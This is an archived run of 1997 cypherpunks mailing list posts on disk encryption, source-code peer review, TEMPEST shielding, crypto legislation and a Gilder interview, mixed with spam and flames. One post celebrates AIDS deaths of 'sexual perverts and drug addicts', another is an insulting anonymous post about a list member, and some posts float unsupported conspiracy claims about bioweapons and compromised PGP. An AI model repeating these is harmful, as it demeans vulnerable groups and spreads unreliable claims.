From: softwinter at csts.co.il (softwinter at csts.co.il)
Date: Sat, 15 Mar 1997 00:01:31 -0800 (PST)
Subject: Ann:On the fly disk encryption for Windows NT
Message-ID: <199703150801.LAA22676@nvsgi1.netvision.net.il>


Shade - First software package to provide on the fly disk encryption for Windows NT

Shade allows you to create encrypted disk device inside a file.
Such a device can then be formatted using any file system
(like NTFS or FAT) and used as a regular disk. The only difference
is that Shade will encrypt the data on every write operation
and decrypt it on every read operation.

To download  go to: http://softwinter.bitbucket.co.il/shade.html

Soft Winter Corporation,
softwinter at csts.co.il






From toto at sk.sympatico.ca  Sat Mar 15 02:38:00 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sat, 15 Mar 1997 02:38:00 -0800 (PST)
Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703141519.HAA27477@toad.com>
Message-ID: <332A7BF2.1B49@sk.sympatico.ca>


Dale Thorn wrote:
> 
> TruthMonger wrote:
> > Peter Trei wrote:
> > > Some handsome devil named "Truthmonger" writes:
> 
> > Take a whiff of some smelling-salts, Peter. The government 'never'
> > runs out of pretexes under which to harass someone who remains an
> > actionable target in their minds.
> > (Where were *you* when J.F.K was shot?)
> 
> Once you've been labeled a "conspiracy theorist", you should
> realize that you've been talking to people who are seeking after
> a smaller truth than you are.  Like the newspapers they read,
> they'll get the story eventually.

Dale,
  I will always remember reading a magazine piece by a fellow who
described the increasing persecution of the Jews in Nazi Germany,
and the abuses to which he was himself subjected.
  However, when describing the night when the jackboots kicked in
his door to take his family to the death camps, he begins his 
account by saying, "They came without warning..."
  I remember thinking, "Buy a clue, dude!"
 
> Check out the stiff who's pictured with Phil in the MicroTimes
> current issue, his new partner or something.  Phil looks happy,
> like they gave him a lifetime supply of double-stuff Oreos.

  Are both of Phil's partner's arms in plain view, or is his partner
perhaps holding a gun on him?
 
> PGP really needed to be upgraded in several ways that have already
> been discussed (briefly!) on the list, but couldn't because:
> 
> 2. BIG pressure from the feds to not implement new technology
>   (and by that I don't mean elliptic curves or discrete logs or
>    other stuff that was broken years ago).

  I agree with TruthMonger's position that the very fact of extreme
pressure being applied should be grounds for considering that perhaps
PGP might have been compromised at some level, no matter what an
analysis of the "numbers" shows, or one's faith in Philly Z.
  However, I would expand this argument to conclude that all encryption
software should be considered "compromised", for the purposes of ultra-
level security, given the influences of spooks and shadows during the
the whole course of encryption developement.

  I think that anyone who would use 'any' encryption software 'out of
the
package' for matters that would seriously impact their life and liberty,
should the contents be discovered, is not working on all cylinders.
  There seems to be some weakly thought out definition of 'paranoia'
going around which deems it to be the feeling you are supposed to get
when you hear the sound of the jackboots on your door. Excuse me for
disagreeing, but I believe the proper feeling at that point in time
may be resignation to your own death (and a firm resolve not to go
'alone' into that dark night).
  Or, if your door is strong enough, you might have one last chance
to play "Hide the Salami" with Lady Byrd.

  Someone suggested to me, in private email, that they would suspect
TruthMonger to be a Toto testicle, except for the lack of humor in 
any of his posts.
  However, I couldn't help but notice that TruthMonger's original post
in this thread was a reply to a request for information in regard to
"Anonymous Nymserver at anon.nymserver.com", and a request for an
opinion
as to the competence and integrity of those involved in its operation.
  Neither could I help noticing that TruthMonger's reply, which had
mercilessly slammed both the integrity and motivations behind all 
remailer operations, and which suggested that one unequivocally mistrust 
all of them, was sent from the very anon-server in question.
  Make of this what you will, but bear in mind that Hypocrisy and
Humor are not all that far apart in the dictionary.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From dlv at bwalk.dm.com  Sat Mar 15 07:30:12 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Mar 1997 07:30:12 -0800 (PST)
Subject: Threat Model: Biowar
In-Reply-To: <199703151219.EAA05824@jefferson.hidden.net>
Message-ID: <iH6L4D45w165w@bwalk.dm.com>


nobody at hidden.net (Anonymous) writes:

> Highly contagious airborne diseases are known to exist.  Germ warfare
> laboratories are also known to exist.  The owners of these labs will
> do anything to get and keep power.
>
> The Internet and crypto-anarchy threatens those who currently have
> power.  How will they respond?
>
> One response would be a biowarfare attack on the civilian population.
> Ironically, this would be seen to legitimize central authority.  A
> problem would have been created ("by terrorists").  Strong authority
> would be seen by most as the solution.  An epidemic may be used to
> justify ID check points everywhere, the careful monitoring of civilian
> activities, and control of all movement within the country.
>
> >From the rulers' point of view, the biowarfare attack has the
> additional attraction that it isolates people, which makes control
> easier.  While it may be harder to put somebody in jail, communities
> are easily controlled when you can limit their food supply.

AIDS was very beneficial to humankind by killing many sexual perverts
and drug addicts.  I wish other future epidemics would be as successful.

By the way, does anyone remember the AUM group in Japan, which was also
active in Russia? I never worked for them directly myself, but I knew
someone who did.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Sat Mar 15 09:30:17 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Mar 1997 09:30:17 -0800 (PST)
Subject: VSACM V2.0 Source Code Request (fwd)
In-Reply-To: <199703151544.JAA00486@einstein.ssz.com>
Message-ID: <4aBm4D52w165w@bwalk.dm.com>


Jim Choate <ravage at EINSTEIN.ssz.com> writes:

> Forwarded message:
>
> > Subject: VSACM V2.0 Source Code Request
> > Date: Fri, 14 Mar 1997 23:31:49 -0600 (CST)
>
> > I would appreciate receiving a copy of the source code for your
> > encryption software, for the purpose of peer review.
>
> These sorts of requests are setting a bad precedence. All that should be
> needed for peer review is the algorithmic expression of the software, not
> its source code. The only issue that public review should consist of is the
> strength of the algorithm. Questions relating to specific implimentation
> questions should be done between vendor and client in private (caveat
> emptor!). What those questions should be should be open to public review as
> well. Class, not instance.
>
> Public review should be concerned with the characteristics of specific
> algorithms and not the honesty of the particular implementor.

I disagree. Remember when a widely available C implementation of the Blowfish
algorithm was found to have a bug that significantly weakened its security?
The bug was in the C implementation, not the algorithm itself.

By the way, I requested the source code from Mr.Ramos within minutes after
he made the offer on this mailing list and haven't heard back from him yet.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From ichudov at algebra.com  Sat Mar 15 09:43:53 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sat, 15 Mar 1997 09:43:53 -0800 (PST)
Subject: VSACM V2.0 Source Code Request (fwd)
In-Reply-To: <4aBm4D52w165w@bwalk.dm.com>
Message-ID: <199703151734.LAA10024@manifold.algebra.com>


Dr.Dimitri Vulis KOTM wrote:
> Jim Choate <ravage at EINSTEIN.ssz.com> writes:
> > Forwarded message:
> > > Subject: VSACM V2.0 Source Code Request
> > > Date: Fri, 14 Mar 1997 23:31:49 -0600 (CST)
> >
> > > I would appreciate receiving a copy of the source code for your
> > > encryption software, for the purpose of peer review.
> >
> > These sorts of requests are setting a bad precedence. All that should be
> > needed for peer review is the algorithmic expression of the software, not
> > its source code. The only issue that public review should consist of is the
> > strength of the algorithm. Questions relating to specific implimentation
> > questions should be done between vendor and client in private (caveat
> > emptor!). What those questions should be should be open to public review as
> > well. Class, not instance.
> >
> > Public review should be concerned with the characteristics of specific
> > algorithms and not the honesty of the particular implementor.
> 
> I disagree. Remember when a widely available C implementation of the Blowfish
> algorithm was found to have a bug that significantly weakened its security?
> The bug was in the C implementation, not the algorithm itself.
> 
> By the way, I requested the source code from Mr.Ramos within minutes after
> he made the offer on this mailing list and haven't heard back from him yet.

I also requested a copy and as of Sat Mar 15 11:33:17 CST 1997 have not
heard anything from Mr. Ramos yet.

I hope to receive it very soon, as Mr. Ramos promised.

	- Igor.





From DataETRsch at aol.com  Sat Mar 15 10:02:41 1997
From: DataETRsch at aol.com (DataETRsch at aol.com)
Date: Sat, 15 Mar 1997 10:02:41 -0800 (PST)
Subject: File Posting Limitations
Message-ID: <970315130201_1614018220@emout07.mail.aol.com>


I'm wondering if there is a limit on the size of a file that can be tagged to
a message posted to the cypherpunks mailing list.

Jeremy Yu-Ramos
DataET Research





From ichudov at algebra.com  Sat Mar 15 10:18:08 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sat, 15 Mar 1997 10:18:08 -0800 (PST)
Subject: File Posting Limitations
In-Reply-To: <970315130201_1614018220@emout07.mail.aol.com>
Message-ID: <199703151810.MAA10360@manifold.algebra.com>


DataETRsch at aol.com wrote:
> 
> I'm wondering if there is a limit on the size of a file that can be tagged to
> a message posted to the cypherpunks mailing list.
> 
> Jeremy Yu-Ramos
> DataET Research
> 

This is a very good question, Jeremy. Basically, the software that runs
this mailing list does not allow anybody to post encoded binary data
(attachments).

The best way to give code to interested parties is to put it on
your Web site and let the interested parties know its location.

Good luck,

	- Igor.





From dlv at bwalk.dm.com  Sat Mar 15 10:30:19 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Mar 1997 10:30:19 -0800 (PST)
Subject: International Government Regulation, Banking, Encryption
In-Reply-To: <3328C3FE.6316@ibm.net>
Message-ID: <6NDm4D54w165w@bwalk.dm.com>


Path: perun!news2.panix.com!news.panix.com!panix!arclight.uoregon.edu!news-m01.ny.us.ibm.net!ibm.net!news-s01.ny.us.ibm.net!not-for-mail
From: Simon Wild <siwild at ibm.net>
Newsgroups: alt.security
Subject: International Government Regulation, Banking, Encryption
Message-ID: <3328C3FE.6316 at ibm.net>
Date: Fri, 14 Mar 1997 11:20:30 +0800
Reply-To: siwild at ibm.net
Lines: 11
NNTP-Posting-Host: slip202-135-10-84.hk.hk.ibm.net
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I hope that someone can help me in my quest to gather information on
current/future Government Regulation/Legislation around the world that
attempts to enforce encryption over the WAN for banks.

Link Level or Application Level ?
Acceptable key length ?
Standards ?
etc...

Simon






From kent at songbird.com  Sat Mar 15 12:14:14 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 15 Mar 1997 12:14:14 -0800 (PST)
Subject: File Posting Limitations
In-Reply-To: <199703151810.MAA10360@manifold.algebra.com>
Message-ID: <199703152012.MAA26306@songbird.com>


Igor Chudov @ home allegedly said:
> 
> DataETRsch at aol.com wrote:
> > 
> > I'm wondering if there is a limit on the size of a file that can be tagged to
> > a message posted to the cypherpunks mailing list.
> > 
> > Jeremy Yu-Ramos
> > DataET Research
> > 
> 
> This is a very good question, Jeremy. Basically, the software that runs
> this mailing list does not allow anybody to post encoded binary data
> (attachments).

Isn't that censorship?

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com,kc at llnl.gov		the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From dlv at bwalk.dm.com  Sat Mar 15 13:40:17 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Mar 1997 13:40:17 -0800 (PST)
Subject: File Posting Limitations
In-Reply-To: <199703152012.MAA26306@songbird.com>
Message-ID: <HoLm4D60w165w@bwalk.dm.com>


Kent Crispin <kent at songbird.com> writes:

> Igor Chudov @ home allegedly said:
> >
> > DataETRsch at aol.com wrote:
> > >
> > > I'm wondering if there is a limit on the size of a file that can be tagge
> > > a message posted to the cypherpunks mailing list.
> > >
> > > Jeremy Yu-Ramos
> > > DataET Research
> > >
> >
> > This is a very good question, Jeremy. Basically, the software that runs
> > this mailing list does not allow anybody to post encoded binary data
> > (attachments).
>
> Isn't that censorship?

Nope.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From ichudov at galstar.com  Sat Mar 15 16:38:24 1997
From: ichudov at galstar.com (Igor Chudov)
Date: Sat, 15 Mar 1997 16:38:24 -0800 (PST)
Subject: (fwd) CarlMStarrsimulationExperiment
Message-ID: <199703160038.SAA17546@galaxy.galstar.com>


Path: mercury.galstar.com!not-for-mail
From: ichudov at galstar.com (Igor Chudov)
Newsgroups: ok.general
Subject: CarlMStarrsimulationExperiment
Date: 16 Mar 1997 00:36:32 GMT
Organization: Bool Sheet Software
Lines: 24
Message-ID: <5gffag$3gb at mercury.galstar.com>
Reply-To: ichudov at algebra.com (Igor Chudov)
NNTP-Posting-Host: galaxy.galstar.com
X-No-Archive: yes
X-Newsreader: TIN [UNIX 1.3 950824BETA PL0]


joe was pulled off a major drug case 
in the wiretapping of my phone i expect a jealous 
husband to tap my phone on in gardner ks on 
and the aftermath info need not lead to indictments or 
arrest call me or write me your info is worth 
money also it will help stop wiretap authourity from expanding 
i will give you your reward as soon as i 
accept your infomation and we agree what that reward is 
it could be a trade a car cash etc i 
have nothing to hide i know what i did and 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

No, the above was NOT written by me, nor by carl starrs. It was generated
by a perl script, which emulates writing styles of different people.
The way it does it is by keeping track of pairs of words and their most
frequently used subsequent words. It reads articles (or any text really)
written by the target person, builds the style tables, and then geenrates
the "most likely" text.

Carl starrs was a good target for two reasons, one of which is that he
does not use punctuation.

KIBO RULES!!! CLONING MADE EASY!!!





From jya at pipeline.com  Sat Mar 15 16:57:40 1997
From: jya at pipeline.com (John Young)
Date: Sat, 15 Mar 1997 16:57:40 -0800 (PST)
Subject: Upcoming Crypto Actions
Message-ID: <1.5.4.32.19970316005022.0084e574@pop.pipeline.com>


In addition to the March 20 House hearing on Goodlatte's 
HR695 where Phil Karn will testify, there's a Senate hearing 
on Leahy's PRO-Code bill:

   March 19;  2:00 p.m.

     Commerce, Science, and Transportation
     To hold hearings on S. 377, to promote electronic 
     commerce by facilitating the use of strong encryption.

   SR-253

This was postponed from March 11, perhaps in concert 
with Goodlatte to maximize coverage of the issue.

Recall that the administration is due to shortly release its policy 
on international encryption agreements. And BXA has scheduled
several actions to comply with The Wassenaar Arrangement:

[November 29, 1996 (Volume 61, Number 231)]
[Unified Agenda]
>From the Federal Register Online via GPO Access [frwais.access.gpo.gov]

[Page 62337-62348]

DEPARTMENT OF COMMERCE (DOC)

[Excerpts]

---------------------------------------------------------------------------

             Bureau of Export Administration--Final Rule Stage
---------------------------------------------------------------------------
                                                                            
                         Regulation
Sequence                      Title                              Identifier
Number
Number
---------------------------------------------------------------------------

669   Changes to the Commerce Control List to Accord With the 
      Wassenaar Arrangement on Export Controls for Conventional 
      Arms and Dual-Use Goods and Technologies..................  0694-AB35

670   Changes to the Export Administrative Regulations To 
      Implement the Guidelines and Information Sharing 
      Provisions of the Wassenaar Arrangement on Export Controls 
      for Conventional Arms and Dual-Use......................... 0694-AB40

676   Incorporation of the Wassenaar Arrangement Into Category 2 
      of the Commerce Control List; Expansion of License 
      Exception CIV.............................................. 0694-AB48

[End excerpts]







From freedom at econopromo.com  Sat Mar 15 21:23:45 1997
From: freedom at econopromo.com (freedom at econopromo.com)
Date: Sat, 15 Mar 1997 21:23:45 -0800 (PST)
Subject: It's Only Money !!
Message-ID: <199703160517.WAA02676@postoffice.usa.net>


 - FREEDOM NEWSLETTER -
 March 14th,  1997

 *******************************************

 We realize that some people prefer not to receive commercial
 E-Mail.  We only want to keep INTERESTED recipients on our list.

 So... If  YOU would rather not receive our mail -  HIT REPLY - and type
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 is an automated system, there is no need to say anything else,  as
 nobody but the computer will see it anyway!  You will be removed
 within 24.  (You must spell   REMOVE   correctly!!!)

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 <for best viewing max your screen to largest size>

 *********************************

 Standing for FREEDOM, LIBERTY, and AMERICA!
 We believe in Freedom of the Press and Speech.
 (These freedoms are essential for the development
 and growth of the Internet.)

 See our "Patriotic Quotes That Make Sense"
 at the end of this publication.

DID YOU KNOW ....... The National Debt of the USA is
now over  $5.2 trillion ?   ...  the interest on the National
Debt is $650 million A DAY ?? ....

Recent projects supported by YOUR tax dollars:  (USA)

$37,500 for a potato chip machine for Moroco...
$20,000 to study the mating calls of Central American toads ...
$6,000 to research the sex life of Polish bisexual frogs ...
$15,000 to find out how fishing boat crewmen cause trouble
	in Yugoslavian peasant towns....
$500,000 to revitalize downtown Ada, OK (population 16,000) ...
$84,000 to study why people fall in love ...
$566,000 to fly cows to Europe ...
$6,100,000 to search for E.T. !!

(source; American Way Features)

Balanced Budget??  We doubt it will ever happen.  Congress
is having too much fun spending our money !!

 Interesting Web Sites of The Week:  Citizens Against
 Government Waste:      http://www.Govt-Waste.org/

 PLEASE SUPPORT OUR SPONSORS.   They are the
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 FREE INFORMATION from our sponsors.

 ************************************

 "HIT REPLY"    INFORMATION SECTION: (please read!)

 ***Send a -SEPARATE-  request for each information offer***

 For each FREE information document desired, HIT REPLY -
 and then type the indicated Key Word   in the subject  -and-
 message area,  and send. That's  all you need to do.
 This automatic system will forward your request to the vendor.
 The vendor will send you the FREE INFORMATION that you desire.
 Remember,  type the Key Word (s) or it won't work.  Nothing else is
 necessary.  (If you misspell the Key Word (s),  it won't work!)

Please   DO NOT   "QUOTE BACK"   ANYTHING.  If you do,
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first take away."

--  John S. Coleman,  Address to Detroit Chamber of  Commerce






From ichudov at algebra.com  Sat Mar 15 21:46:33 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sat, 15 Mar 1997 21:46:33 -0800 (PST)
Subject: t0ad t3st
Message-ID: <199703160543.XAA00304@manifold.algebra.com>


ignore

	- Igor.





From stewarts at ix.netcom.com  Sat Mar 15 23:06:08 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 15 Mar 1997 23:06:08 -0800 (PST)
Subject: TEMPEST protection
In-Reply-To: <858430734.0626900.0@fatmans.demon.co.uk>
Message-ID: <3.0.1.32.19970315175312.00625448@popd.ix.netcom.com>


ichudov at algebra.com wrote:
>> - Whenever I need to do something secret, like reading pgp-encrypted 
>> messages, use ssh to connect from that laptop to my main Unix host
>> (manifold.algebra.com) and read those off of the laptop screen.
>> How secure would that arrangement be? At present, I do not feel that
>> the additional security is worth even $700, but who knows, that
>> may change.

If you're doing it for isolation reasons (keeping private stuff on your
laptop instead of your Internet-connected machine to reduce breakin risks),
it may be worth something.  If you're doing it for TEMPEST, don't bother;
laptops may put out less than CRTs, but I've still had my laptop emit signals
that showed up on a nearby TV semi-legibly (out of sync, but Bad Guys can
deal with that...)

If you find a TEMPEST-shielded PC at an NSA Surplus auction, it'll probably
be a 386 at best, and maybe a 286, so it may not be fast enough to bother
with.
Shielding this stuff is a Black Art, though paying a lot of attention to
cables and boxes and tight corners with metal connectivity helps a lot.
And just using a slower processor instead of that 200MHz microwave tower
also helps.

On the other hand, Matt Blaze has done some good work on cooperative
encryption
between smartcards and real computers, where the smartcard does a critical
part of the computation and the bigger computer does the bulk of the work;
you could still keep your secret keys on the slow shielded box.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From lucifer at dhp.com  Sat Mar 15 23:23:46 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sat, 15 Mar 1997 23:23:46 -0800 (PST)
Subject: Secure checksums
Message-ID: <199703160723.CAA22778@dhp.com>


There's a rumor that Tim May sells his dead relatives as 
fertilizer as they constitute the best shit in California.

           \|||///
            ~|||//
       ____ .)  // Tim May
      (____    @ /
           \    \
            ) /\ \
            \/ (_






From rah at shipwright.com  Sun Mar 16 05:46:24 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 16 Mar 1997 05:46:24 -0800 (PST)
Subject: Dark Fiber Redux
Message-ID: <v03020900af51a5634a2b@[204.179.136.89]>


Just to throw a little gasoline on the George Gilder "Dark Fiber"
discussion around here, I found a huge, spiffy trove of Gilderama at:

http://www.computer.org/internet/9701/gilder9701.htm


Wherein the esteemed (at least I do ;-)) Mr. G says:

> Remember that the fibersphere I've written a lot about is based on
>wavelength-division multiplexing of tremendous amounts of bandwidth, which
>can serve as a substitute for switches with all optical repeaters. And by
>the way they've just developed fluoro-zirconate repeaters that can handle
>the whole bandwidth of fiber. I don't know whether this technology will
>actually prove out or not, but for the first time they have demonstrable
>all-optical amplifiers that can handle the entire intrinsic bandwidth of
>fiber, which is quite an amazing development in just a year or two. The
>erbium-doped fiber amplifiers top out at 4.5 terahertz, so they can't
>accommodate the potentially 25-75 terahertz that every fiber,
>theoretically, could hold.

What this means, of course, is that (kind of, as CDMA etc., counts a
switching, I guess) like wireless, electromagnetic bandwidth, some day
you'll have huge glops of non-switched fiber bandwidth to play with. In
theory, at least, everyone gets a color, or frequency, and they listen on
that frequency for their inbound stuff. If you want to send someone
something, you literally tune them in and send it. Actually, I see these
frequencies using CDMA carrier waves when it eventually happens, but you
get the idea.

The implications for cryptography are rather cool. I don't *think*  these
doped optical amplifiers interfere with so-called quantum cryptography (not
to be confused with quantum computing, of course). If I remember my SciAm
back issues, quantum crypto is cool, because if anyone touches the signal
from Alice to Bob they're detected immediately. Or, is it that the signal
drops? Can't remember which. Anyway, you need uninterrupted fiber to do QC,
and that's what you have with optical non-switched amplification, whether
you're disturbing the photons is another story. Anyone here know for sure?
I remember discussion about this, but I don't remember the answer.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From rah at shipwright.com  Sun Mar 16 06:28:57 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 16 Mar 1997 06:28:57 -0800 (PST)
Subject: Gilder on CDA, Crypto Export, DES, and Financial Cryptography
Message-ID: <v03020904af51b105058a@[204.179.128.11]>


It's nice to see that the clueful memes are spreading, Gilder's congenital
statism aside :-).

Also from http://www.computer.org/internet/9701/gilder9701.htm .



> Petrie: While we're on the subject of choice, what do you think about the
> First Amendment issues currently before the Supreme Court concerning the
> use of legislation to block the viewing of pornography on the Internet?
>
> Gilder: My belief is that you don't have to change the laws to deal with
> the child pornography or snuff films or other extreme cases that are
> employed to justify sweeping regulation of the Net. I think they're a
> distraction, they're a red herring. My 12-year-old son is on the Net all
> the time and I'm eager for the evolution of techniques applicable at the
> terminal to lock out certain domains of the Internet to children. But I
> think that porn of sufficiently revolting character is widespread all over
> the society. If the politicians want to crack down, how about the
> Spectravision boxes in every hotel room?
>
> To focus on the Internet bespeaks another agenda. And I don't
> approve of the other agenda, which is to control this new communication
> system, because the way they controlled the old one has been a disaster--it
> has greatly slowed the extension of bandwidth and led to this kind of
> optical illusion, or nonoptical illusion, that bandwidth is somehow scarce
> and difficult to create.
>
> Petrie: This also reminds me of the paranoia about security on the
> Internet. For example, online banking on the Internet requires you to have
> a US-grade security browser, a user ID, and a password to access the same
> service you can use three digits to access by telephone.
>
> Gilder: I completely agree with that observation. There is a paranoid note
> in this encryption and privacy issue. But I think corporations do have a
> real problem. If you're sending billions of dollars of value across the
> Net, you've created a huge incentive for people to break your codes and
> skim off some small proportion of your value flow.
>
> Petrie: But we're not talking about financial transactions. Those have been
> secured for quite some time.
>
> Gilder: But how? They're using the DES (data encryption standard) algorithm
> which is a fairly low level of encryption employed by banks for
> transmitting funds. I know it works--I really don't agree with the thesis
> that the Internet is insecure--however, I'm willing to imagine there are
> applications where you want more security than currently exists. But we are
> talking about a lot of issues here all at once. The encryption issue about
> terrorism, for example. Banning strong encryption in order to thwart
> terrorists means that only terrorists will have strong encryption. I really
> think that's accurate--or at least only foreign countries will be able to
> have encryption. So the encryption technology will tend to move overseas
> where it's completely beyond the reach of US security.
>
> I think the government's going to figure out that they want the best
> encryption to be American. And to disagree with the current wisdom, there
> is an arms race. The arms race is with the terrorists. There's no question
> about it. But there is no quick technical fix for this arms race. The
> government has to understand this is a dynamic rather than a static arms
> race, and you won't be able to solve the problem by treaty. The problem is
> that of evil in the world, and it's something all of us, including people
> who want a wild and woolly Internet, depend on our government to address.


-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From friend at your.friend.com  Sun Mar 16 06:44:11 1997
From: friend at your.friend.com (Your Friend)
Date: Sun, 16 Mar 1997 06:44:11 -0800 (PST)
Subject: A Moment of Your Time Please
Message-ID: <199703161444.GAA01094@switzerland.it.earthlink.net>


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From adam at homeport.org  Sun Mar 16 07:06:40 1997
From: adam at homeport.org (Adam Shostack)
Date: Sun, 16 Mar 1997 07:06:40 -0800 (PST)
Subject: Why keep that cash in the US?
Message-ID: <199703161503.KAA19888@homeport.org>


HOUSTON (AP) -- The U.S. government can seize $7.9 million
from the bank account of Mexico's former top drug prosecutor, who was
accused of taking bribes from drug traffickers, a jury decided
Saturday.  

http://www.cnn.com/US/9703/15/mexico.money.ap/index.html

Adam

-- 
"Well, that depends.  Do you mind the end of civilization as we know
it?"









From dlv at bwalk.dm.com  Sun Mar 16 08:10:44 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Mar 1997 08:10:44 -0800 (PST)
Subject: Why keep that cash in the US?
In-Reply-To: <199703161503.KAA19888@homeport.org>
Message-ID: <Rw1N4D6w165w@bwalk.dm.com>


Adam Shostack <adam at homeport.org> writes:

> HOUSTON (AP) -- The U.S. government can seize $7.9 million
> from the bank account of Mexico's former top drug prosecutor, who was
> accused of taking bribes from drug traffickers, a jury decided
> Saturday.
>
> http://www.cnn.com/US/9703/15/mexico.money.ap/index.html

This reminds me of the story of how the Eurodollar market was born.
Once upon a time, most countries had some U.S. dollar reserves which
they kept on deposit in the U.S.  The U.S.S.R. was one of those countries.
One day the U.S. indicated its desire to freeze Soviet deposits because
it did not like Soviet foreign policy (the way it subsequently froze
Iraq's and Iran's assets). The Soviets wisely took out their money,
took it to London, and started loaning it out at better interest rates
that they had in the U.S. (Prior to this transfer, it was very hard to
find a large dollar-denominated loan outside the U.S.) Soon many U.S.
investors realized that this was a good deal and took their money out
of the U.S., eventually leading to the "credit crunch" in the '70's.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Sun Mar 16 08:12:25 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 16 Mar 1997 08:12:25 -0800 (PST)
Subject: Triangle Area {Coder,Cypher}punks Group
In-Reply-To: <Pine.LNX.3.95.970316134545.3944B-100000@marvin.sp.org>
Message-ID: <V91N4D7w165w@bwalk.dm.com>


The Deviant <deviant at netlite.com> writes:
>
> On Sun, 16 Mar 1997, Simon Spero wrote:
>
> > [Partial resend from when the cryptography was down]
> >
> >
> >   Anybody interested in starting a Triangle area cpunks? Seems to be
> >   enough folks in the area to start putting together some regular
> >   physical meetings; since there's starting  to talk about  putting togethe
> >   a triangle-wide PKI pilot, now's a great time to get started.
> >
> > If you're intersested, please ack so I can get an idea if Mayberry RSA is
> > going to fly or not
> >
> > Simon
>
> Count me in for triangle cpunks...

Pink triangle?

> Just no meatings on the first or third fridays of the month...
>
>  --Deviant
>    PGP KeyID = E820F015 Fingerprint = 3D6AAB628E3DFAA9 F7D35736ABC56D39

We came to WashDC cpunk physicals a few times and it wasn't worth it.
There's an interesting exhibition of Romanoffs' jewerly at the Corcoran
- much more fun than any cpunks we've ever met.

> Sendmail may be safely run set-user-id to root.
>                 -- Eric Allman, "Sendmail Installation Guide"

Well, do you, punk? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From bdolan at USIT.NET  Sun Mar 16 09:04:03 1997
From: bdolan at USIT.NET (Brad Dolan)
Date: Sun, 16 Mar 1997 09:04:03 -0800 (PST)
Subject: Froomkin in the news
Message-ID: <Pine.GSO.3.95.970316115649.1678A-100000@use.usit.net>


A Moot-Court dry run of the upcoming CDT hearing by the Supremes was held
Thursday in San Francisco and carried today by C-SPAN2.  

None other than our own M. J. Froomkin was one of the mock berobed ones.
His vigorous pro-CDT probing of the ACLU anti-CDT guys was probably good
practice for them, but he sure gave me the impression he really believed
what he was saying.

Brad

... Who has resolved to hold his nose and renew his ACLU membership.








From bdolan at USIT.NET  Sun Mar 16 09:14:10 1997
From: bdolan at USIT.NET (Brad Dolan)
Date: Sun, 16 Mar 1997 09:14:10 -0800 (PST)
Subject: Froomkin in the news II
Message-ID: <Pine.GSO.3.95.970316121218.4045A-100000@use.usit.net>




A Moot-Court dry run of the upcoming CD_A_ hearing by the Supremes was
held Thursday in San Francisco and carried today by C-SPAN2.  

None other than our own M. J. Froomkin was one of the mock berobed ones.
His vigorous pro-CD_A_ probing of the ACLU anti-CD_A_ guys was probably
good practice for them, but he sure gave me the impression he really
believed what he was saying.

Brad

... Who has resolved to hold his nose and renew his ACLU membership.









From dthorn at gte.net  Sun Mar 16 10:04:06 1997
From: dthorn at gte.net (Dale Thorn)
Date: Sun, 16 Mar 1997 10:04:06 -0800 (PST)
Subject: File Posting Limitations
In-Reply-To: <970315130201_1614018220@emout07.mail.aol.com>
Message-ID: <332C247D.76AC@gte.net>


DataETRsch at aol.com wrote:
> 
> I'm wondering if there is a limit on the size of a file that can be tagged to
> a message posted to the cypherpunks mailing list.
> 
> Jeremy Yu-Ramos
> DataET Research

As a general rule ("netiquette"), you don't attach *anything* to a
message posted to a list.  If the attachment is plain text, however,
and it's rather small, i.e., same as you would hand-type inline, and
you're sure nobody's browser will have a problem with it, it might
be OK then.







From dthorn at gte.net  Sun Mar 16 10:04:33 1997
